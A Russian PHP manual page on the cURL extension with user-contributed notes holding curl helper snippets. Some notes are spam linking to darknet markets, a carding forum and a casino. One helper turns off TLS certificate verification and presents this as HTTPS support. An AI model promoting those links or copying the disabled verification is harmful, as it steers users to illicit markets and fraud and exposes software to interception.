    • Функции Scoutapm
  • SNMP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции SNMP
    • SNMP — Класс SNMP
    • SNMPException — Класс SNMPException
  • Сокеты
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Ошибки сокетов
    • Функции сокета
    • Socket — Класс Socket
    • AddressInfo — Класс AddressInfo
  • SSH2 — Secure Shell2
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции SSH2
  • Stomp — Stomp Client
    • Введение
    • Установка и настройка
    • Примеры
    • Функции Stomp
    • Stomp — Класс Stomp
    • StompFrame — Класс StompFrame
    • StompException — Класс StompException
  • SVM — Support Vector Machine (Вспомогательная векторная машина)
    • Введение
    • Установка и настройка
    • Примеры
    • SVM — Класс SVM
    • SVMModel — Класс SVMModel
  • SVN — Subversion
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции SVN
  • TCP — Обёртки TCP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции TCP
  • Varnish
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • VarnishAdmin — Класс VarnishAdmin
    • VarnishStat — Класс VarnishStat
    • VarnishLog — Класс VarnishLog
  • YAZ
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции YAZ
  • Обмен сообщениями 0MQ — ZMQ
    • Введение
    • Установка и настройка
    • ZMQ — Класс ZMQ
    • ZMQContext — Класс ZMQContext
    • ZMQSocket — Класс ZMQSocket
    • ZMQPoll — Класс ZMQPoll
    • ZMQDevice — Класс ZMQDevice
  • ZooKeeper
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции ZooKeeper
    • Zookeeper — Класс Zookeeper
    • ZookeeperConfig — Класс ZookeeperConfig
    • ZookeeperException — Класс ZookeeperException
    • ZookeeperAuthenticationException — Класс ZookeeperAuthenticationException
    • ZookeeperConnectionException — Класс ZookeeperConnectionException
    • ZookeeperMarshallingException — Класс ZookeeperMarshallingException
    • ZookeeperNoNodeException — Класс ZookeeperNoNodeException
    • ZookeeperOperationTimeoutException — Класс ZookeeperOperationTimeoutException
    • ZookeeperSessionException — Класс ZookeeperSessionException

User Contributed Notes

There are no user contributed notes for this page.


Клиентская библиотека работы с URL

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Простой пример использования curl
  • Функции cURL
    • curl_close — Завершает сеанс cURL
    • curl_copy_handle — Копирует дескриптор cURL вместе со всеми его настройками
    • curl_errno — Возвращает код последней ошибки
    • curl_error — Возвращает строку с описанием последней ошибки текущего сеанса
    • curl_escape — Кодирует заданную строку как URL
    • curl_exec — Выполняет запрос cURL
    • curl_getinfo — Возвращает информацию об определённой операции
    • curl_init — Инициализирует сеанс cURL
    • curl_multi_add_handle — Добавляет обычный cURL-дескриптор к набору cURL-дескрипторов
    • curl_multi_close — Закрывает набор cURL-дескрипторов
    • curl_multi_errno — Возвращает код последней ошибки множественного curl
    • curl_multi_exec — Запускает подсоединения текущего дескриптора cURL
    • curl_multi_getcontent — Возвращает результат операции, если была установлена опция CURLOPT_RETURNTRANSFER
    • curl_multi_info_read — Возвращает информацию о текущих операциях
    • curl_multi_init — Создаёт набор cURL-дескрипторов
    • curl_multi_remove_handle — Удаляет cURL дескриптор из набора cURL дескрипторов
    • curl_multi_select — Ждёт активности на любом curl_multi соединении
    • curl_multi_setopt — Устанавливает опции множественного дескриптора cURL
    • curl_multi_strerror — Возвращает строку, описывающую ошибку
    • curl_pause — Приостановить и возобновить соединение
    • curl_reset — Сбросить все настройки обработчика сессии libcurl
    • curl_setopt_array — Устанавливает несколько параметров для сеанса cURL
    • curl_setopt — Устанавливает параметр для сеанса CURL
    • curl_share_close — Закрыть разделяемый обработчик cURL
    • curl_share_errno — Возвращает код последней ошибки разделяемого обработчика curl
    • curl_share_init — Инициализация разделяемого обработчика cURL
    • curl_share_setopt — Установить опции разделяемого обработчика cURL
    • curl_share_strerror — Возвращает описание для заданного кода ошибки
    • curl_strerror — Получить текстовое описание для кода ошибки
    • curl_unescape — Декодирует закодированную URL-строку
    • curl_upkeep — Выполняет любые проверки работоспособности соединений
    • curl_version — Возвращает версию cURL
  • CurlHandle — Класс CurlHandle
  • CurlMultiHandle — Класс CurlMultiHandle
  • CurlShareHandle — Класс CurlShareHandle
  • CURLFile — Класс CURLFile
    • CURLFile::__construct — Создаёт объект CURLFile
    • CURLFile::getFilename — Возвращает имя файла на сервере
    • CURLFile::getMimeType — Возвращает MIME-тип файла
    • CURLFile::getPostFilename — Возвращает имя файла, отправляемого POST-запросом
    • CURLFile::setMimeType — Устанавливает MIME-тип
    • CURLFile::setPostFilename — Устанавливает имя файла для отправки методом POST
  • CURLStringFile — Класс CURLStringFile
    • CURLStringFile::__construct — Создаёт объект CURLStringFile

User Contributed Notes

Lloydtig 27-Jul-2023 12:22
<a href=https://xn--mga-sb-bva.com/>мега тор</a> - mega зеркало рабочее, mega gl
Jacobtwemi 08-May-2023 02:25
<a href=http://pf-rs.ru/>Битумовозы Новый Уренгой</a> - Утилизация нефтепродуктов, Бензовозы Новый Уренгой
Donovannaply 01-Mar-2023 12:25
<a href=https://omg.omgomgdeep.com/>омг онион</a> - omg tor, omg omg darkmarket форум
AnthonyDrips 10-Feb-2023 10:18
<a href=https://torplanets.com/>mega даркнет</a> - кракен ссылка онион, кракен рабочее зеркало
Edwardlam 21-Dec-2022 04:31
<a href=https://777gaminator-slots.com>как выиграть в онлайн казино в автоматы</a> - реально ли зарабатывать в онлайн казино, играть азартные игры бесплатно регистрации
Williamexori 11-Sep-2022 02:01
мировой вебсайт <a href=https://ccccc.sb/>кардинг форум</a>
zle.lc 13-Apr-2021 02:15
Sharing is caring, handles included.

<?php

$url_one = "php.net";
$url_two = "";

$user_agent = 'Mozilla HotFox 1.0';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url_one.$url_two);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_NOBODY, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$res = curl_exec($ch);
curl_close($ch);

$url_two = "lazyphp.net";
$url_one = "";
$res_two = curl_exec($ch);
curl_close($ch);

?>
jcmargentina at gmail dot com 09-Oct-2019 01:40
Please note that new versions of curl is using http2 as default, so if you are having some strange errors, 0 http status codes, etc, please explicitly specify the http version in your code.
newuser at gmail dot com 26-Sep-2018 06:49
FYI cURL support (default enabled, ok) is prerequisite for Installation and Configuration of the Collection Extension of wiki portal. https://pickbestscope.com/
user at gmail dot com 30-Aug-2018 06:50
Ratings are maintained by FFBE subreddit's Discord. Newbie questions and question whether a certain unit is good or not should be asked in .. http://ffbeunitranking.com/
politikos at live dot com 14-Jun-2018 06:06
I'm having problem to read this website.

https://jornalggn.com.br/noticia/moro-agora-levanta-sigilo-de-decisao-que-protege-delatores-de-orgaos-federais-0

Because of redirects and browser checking.
Any links from this https://jornalggn.com.br/

I'm receiving just this response:

"Checking your browser before accessing jornalggn.com.br.

This process is automatic. Your browser will redirect to your requested content shortly.

Please allow up to 5 seconds..."

Any tips, how to solve this using php_curl
Thanks in advance
--DJ
cikemic at mailtrix dot net 01-Apr-2018 08:45
After reading this post only one words comes out from my mouth that is "WoW". This post has helps me to acquire some new knowledge. So thanks for sharing your valuable ideas with us.
http://bestfrontandreardashcam.com/
ishavashi202 at gmail dot com 11-Feb-2018 04:30
Thanks https://ebestdigitalcalipers.com/
dongchao769390531 at 163 dot com 07-Jun-2017 07:23
<?php
/**
 * Curl send get request, support HTTPS protocol
 * @param string $url The request url
 * @param string $refer The request refer
 * @param int $timeout The timeout seconds
 * @return mixed
 */
function getRequest($url, $refer = "", $timeout = 10)
{
    $ssl = stripos($url,'https://') === 0 ? true : false;
    $curlObj = curl_init();
    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_AUTOREFERER => 1,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)',
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
        CURLOPT_HTTPHEADER => ['Expect:'],
        CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
    ];
    if ($refer) {
        $options[CURLOPT_REFERER] = $refer;
    }
    if ($ssl) {
        //support https
        $options[CURLOPT_SSL_VERIFYHOST] = false;
        $options[CURLOPT_SSL_VERIFYPEER] = false;
    }
    curl_setopt_array($curlObj, $options);
    $returnData = curl_exec($curlObj);
    if (curl_errno($curlObj)) {
        //error message
        $returnData = curl_error($curlObj);
    }
    curl_close($curlObj);
    return $returnData;
}

/**
 * Curl send post request, support HTTPS protocol
 * @param string $url The request url
 * @param array $data The post data
 * @param string $refer The request refer
 * @param int $timeout The timeout seconds
 * @param array $header The other request header
 * @return mixed
 */
function postRequest($url, $data, $refer = "", $timeout = 10, $header = [])
{
    $curlObj = curl_init();
    $ssl = stripos($url,'https://') === 0 ? true : false;
    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_POST => 1,
        CURLOPT_POSTFIELDS => $data,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_AUTOREFERER => 1,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)',
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
        CURLOPT_HTTPHEADER => ['Expect:'],
        CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
        CURLOPT_REFERER => $refer
    ];
    if (!empty($header)) {
        $options[CURLOPT_HTTPHEADER] = $header;
    }
    if ($refer) {
        $options[CURLOPT_REFERER] = $refer;
    }
    if ($ssl) {
        //support https
        $options[CURLOPT_SSL_VERIFYHOST] = false;
        $options[CURLOPT_SSL_VERIFYPEER] = false;
    }
    curl_setopt_array($curlObj, $options);
    $returnData = curl_exec($curlObj);
    if (curl_errno($curlObj)) {
        //error message
        $returnData = curl_error($curlObj);
    }
    curl_close($curlObj);
    return $returnData;
}

$getRes = getRequest("https://secure.php.net/");
echo $getRes;//Get index page html of php.net

$postRes = postRequest("https://secure.php.net/",[]);
echo $postRes;
yann at ykweyer dot fr 11-Jul-2016 08:37
If you need to send an array of files using CURL (typical case: POST variable to a REST API), having an array of CURLFiles in the POSTFIELD won't work. You have to set as many variables in your postfield than there are files to send:

<?php
// Won't work:
$postfields = array(
    'files' => array(
        new CURLFile($path1),
        new CURLFile($path2),
        //...
    )
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);

// Use this instead:
$postfields = array(
    'files[0]' => new CURLFile($path1),
    'files[1]' => new CURLFile($path2),
    //...
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
?>
gmail@asmqb7 29-Mar-2016 10:48
WARNING WARNING

In this example: http://php.net/manual/en/book.curl.php#102885 by "frank at interactinet dot com"

There's a small bug in

<?php

         ...

         elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)

         ...

?>

The code will immediately leave the function at the `return`, and pcntl_wait() will NEVER be executed, under any circumstances.

I can't see any other issues with this function however.
romet 20-Apr-2015 10:30
/*
Example values
url - 'http://example.com'
fields - array('var' => 'value'), or can be empty
auth - 'user:password', or can be empty
by romet, 4.20.2015
*/
function curl($url, $fields = array(), $auth = false){

    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_VERBOSE, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);

    if($auth){
        curl_setopt($curl, CURLOPT_USERPWD, "$auth");
        curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
    }

    if($fields){
        $fields_string = http_build_query($fields);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $fields_string);
    }

    $response = curl_exec($curl);
    $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
    $header_string = substr($response, 0, $header_size);
    $body = substr($response, $header_size);

    $header_rows = explode(PHP_EOL, $header_string);
    $header_rows = array_filter($header_rows, trim);
    foreach((array)$header_rows as $hr){
        $colonpos = strpos($hr, ':');
        $key = $colonpos !== false ? substr($hr, 0, $colonpos) : (int)$i++;
        $headers[$key] = $colonpos !== false ? trim(substr($hr, $colonpos+1)) : $hr;
    }
    foreach((array)$headers as $key => $val){
        $vals = explode(';', $val);
        if(count($vals) >= 2){
            unset($headers[$key]);
            foreach($vals as $vk => $vv){
                $equalpos = strpos($vv, '=');
                $vkey = $equalpos !== false ? trim(substr($vv, 0, $equalpos)) : (int)$j++;
                $headers[$key][$vkey] = $equalpos !== false ? trim(substr($vv, $equalpos+1)) : $vv;
            }
        }
    }
    //print_rr($headers);
    curl_close($curl);
    return array($body, $headers);
}

list($d['body'], $d['headers']) = curl2('http://google.com', array(q => '123'));
//POST to google.com with POST var "q" as "123"

echo '<pre>';
print_r($d);

---------

OUTPUT:

Array
(
    [headers] => Array
        (
            [0] => HTTP/1.1 405 Method Not Allowed
            [Allow] => GET, HEAD
            [Date] => Mon, 20 Apr 2015 22:20:10 GMT
            [Server] => gws
            [Content-Length] => 1453
            [X-Frame-Options] => SAMEORIGIN
            [Alternate-Protocol] => 80:quic,p=1
            [Content-Type] => Array
                (
                    [0] => text/html
                    [charset] => UTF-8
                )

            [X-XSS-Protection] => Array
                (
                    [1] => 1
                    [mode] => block
                )

        )

    [body] => <!DOCTYPE html>...etc

)
qrworld.net 11-Nov-2014 04:41
Here you have a function that I use to get the content of a URL using cURL:

function getUrlContent($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 $data = curl_exec($ch);
 $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 curl_close($ch);
 return ($httpcode>=200 && $httpcode<300) ? $data : false;
}

The source comes from this website:

http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url.html
fred dot knieper at gmail dot com 16-Dec-2013 04:07
After a lot of frustration with the fact that nobody has documented which curl commandline options go with which library functions, I discovered that the curl commandline will tell you (in the form of a C program) if you add `--libcurl foo.c`

If you've been struggling with trying to figure out how to get your fancy curl commandline to work in PHP, this makes it a breeze!
mkucera66 at seznam dot cz 26-Aug-2013 11:02
FYI cURL support (default enabled, ok) is prerequisite for Installation and Configuration of the Collection Extension of wiki portal.
arturo at midnightvip dot com 12-Jun-2013 10:56
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.midnightvip.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>
madhouse-network at hotmail dot com 21-Apr-2011 01:51
curl does not seem to work with SSL TLS (FTPES)

It will throw the following error:

(1) Protocol ftpes not supported or disabled in libcurl
frank at interactinet dot com 11-Mar-2011 09:29
I wrote the following to see if a submitted URL has a valid http response code and also if it responds quickly.

Use the code like this:

<?php
$is_ok = http_response($url); // returns true only if http response code < 400
?>

The second argument is optional, and it allows you to check for  a specific response code

<?php
http_response($url,'400'); // returns true if http status is 400
?>

The third allows you to specify how long you are willing to wait for a response.

<?php
http_response($url,'200',3); // returns true if the response takes less than 3 seconds and the response code is 200
?>

<?php
function http_response($url, $status = null, $wait = 3)
{
        $time = microtime(true);
        $expire = $time + $wait;

        // we fork the process so we don't have to wait for a timeout
        $pid = pcntl_fork();
        if ($pid == -1) {
            die('could not fork');
        } else if ($pid) {
            // we are the parent
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_NOBODY, TRUE); // remove body
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $head = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            if(!$head)
            {
                return FALSE;
            }

            if($status === null)
            {
                if($httpCode < 400)
                {
                    return TRUE;
                }
                else
                {
                    return FALSE;
                }
            }
            elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)
            {
            sleep(0.5);
            }
            return FALSE;
        }
    }
?>

Hope this example helps.  It is not 100% tested, so any feedback [sent directly to me by email] is appreciated.
shidec00 at yahoo dot com 19-Jan-2011 02:55
This anomali only happen on windows.
Server indicates that some variables built by http_build_query() is missing.

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options);
$message = $this->_post_curl($ping_url);
?>

After debugging i found that $ping_url contain url like :

http://example.com/ping.php?app=1&amp;key=mail&amp;ttd=df52861e

But myserver give "No ttd GET variable" response

This problem fixed by adding optional parameter to make sure that http_build_query() use only '&' as arg separator rather than '&amp;'

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options,'','&');
$message = $this->_post_curl($ping_url);
?>
ramez at dot dontspan dot zegenie dot com 27-Oct-2010 09:19
CURL failed with PHP5.3 and Apache2.2.X on my Windows 7 machine.

It turns out that it's not enough to copy the two dll's mentioned (libeay32 and sslea32) from the php folder into your system32 folder. You HAVE TO UNBLOCK THESE TWO FILES.

Right click the file, select unblock, for each one. Then restart Apache.

Another very handy security feature added into Windows.
artax_N_O_S_P_A_M_erxes2 at iname dot com 17-Sep-2010 08:59
I needed to use cURL in a php script to download data using not only SSL for the server authentication but also for client authentication.
On a default install of Fedora, setting up the proper cURL parameters, I would get an error:

$ php curl.php
 Peer certificate cannot be authenticated with known CA certificates

The data on http://curl.haxx.se/docs/sslcerts.html was most useful. Indeed, toward to bottom it tells you to add a missing link inside /etc/pki/nssdb to use the ca-bundle.crt file. You do it so:

# cd /etc/pki/nssdb
# ln -s /usr/lib64/libnssckbi.so libnssckbi.so

Now you can do client authentication, provided you have your certificate handy with:

<?php
$data = "<soap:Envelope>[...]</soap:Envelope>";
$tuCurl = curl_init();
curl_setopt($tuCurl, CURLOPT_URL, "https://example.com/path/for/soap/url/");
curl_setopt($tuCurl, CURLOPT_PORT , 443);
curl_setopt($tuCurl, CURLOPT_VERBOSE, 0);
curl_setopt($tuCurl, CURLOPT_HEADER, 0);
curl_setopt($tuCurl, CURLOPT_SSLVERSION, 3);
curl_setopt($tuCurl, CURLOPT_SSLCERT, getcwd() . "/client.pem");
curl_setopt($tuCurl, CURLOPT_SSLKEY, getcwd() . "/keyout.pem");
curl_setopt($tuCurl, CURLOPT_CAINFO, getcwd() . "/ca.pem");
curl_setopt($tuCurl, CURLOPT_POST, 1);
curl_setopt($tuCurl, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($tuCurl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($tuCurl, CURLOPT_POSTFIELDS, $data);
curl_setopt($tuCurl, CURLOPT_HTTPHEADER, array("Content-Type: text/xml","SOAPAction: \"/soap/action/query\"", "Content-length: ".strlen($data)));

$tuData = curl_exec($tuCurl);
if(!curl_errno($tuCurl)){
  $info = curl_getinfo($tuCurl);
  echo 'Took ' . $info['total_time'] . ' seconds to send a request to ' . $info['url'];
} else {
  echo 'Curl error: ' . curl_error($tuCurl);
}

curl_close($tuCurl);
echo $tuData;
?>
cliffclof atty gmail dotty com 05-Apr-2010 02:21
A solution that addresses repeat calls to the same set of urls using the same connection simulating frequent ajax calls in separate browser tabs.

In a unique situation you may need to set a cookie then use that cookie for multiple separate persistent connections using the same session cookie.  The problem is the session cookie may change while your doing your persistent calls.  If you set every curl handle to update a shared cookiejar on close you may overwrite the new found session value with the old session value depending on the closing order of your handles. Also, because the cookiejar is only written to on a curl_close, you may be using dissimilar or old session info in some of your 'faked browser tabs'.

To solve this problem I created a unique handle that opens and closes specifically to set a cookie file using CURLOPT_COOKIEJAR. Then I just use the read-only CURLOPT_COOKIEFILE on the multiple separate persistent handles.

This solves the problem of shared cookies fighting to write their values and keep persistent calls using the most up to date cookie information.

Note: In my case the multiple calls were in a while loop and I was using php in shell.  The session cookie value plus browser type limited the number of connections available and i wanted to use the max connections per session.
artem at zabsoft dot co dot in 11-May-2009 11:43
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

[EDIT BY danbrown AT php DOT net: Original was written by (unlcuky13 AT gmail DOT com) on 19-APR-09.  The following note was included:
Below is the my way of using through PHP 5 objecte oriented encapsulation to make thing easier.]

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.google.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by "roetsch.beni at googlemail (dot) com" on 02-AUG-09, with the following note: "Fixes the bugfix: 417 bug at lighthttp server."]
admin at jeremyzaretski dot com 18-Mar-2009 08:14
I wanted to create a script that acted as a bridge between an external server and an internal server, wherein the internal server was not connected to the internet, but had information required by the users connecting to the external server. I hatched the idea to use curl to connect from the external server to the internal server (using request variables to send queries) and return everything (data and headers) returned by the file server.

After being driven mad by segmentation faults and crashes because the curl_exec didn't like me having the CURLOPT_HEADERFUNCTION's function directly dumping the header:

<?php
function Duplicate_Header($curl, $header)
{
    header($header);
    return strlen($header);
}
?>

... I tried (on a whim) duplicating and trimming the header and passing the duplicate to the header function...

<?php
function Duplicate_Header($curl, $header)
{
    $duplicate = trim($header);
    header($duplicate);
    return strlen($header);
}
?>

Which worked just fine. I don't know if this is just some quirk of PHP4 or my lack of understanding of how the curl and header function works.
pyromus at gmail dot com 16-Oct-2008 04:37
You can use this class for fast entry

<?php
class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;CHARSET=Windows-1251';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}
function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Make sure this directory has the correct permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}
function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
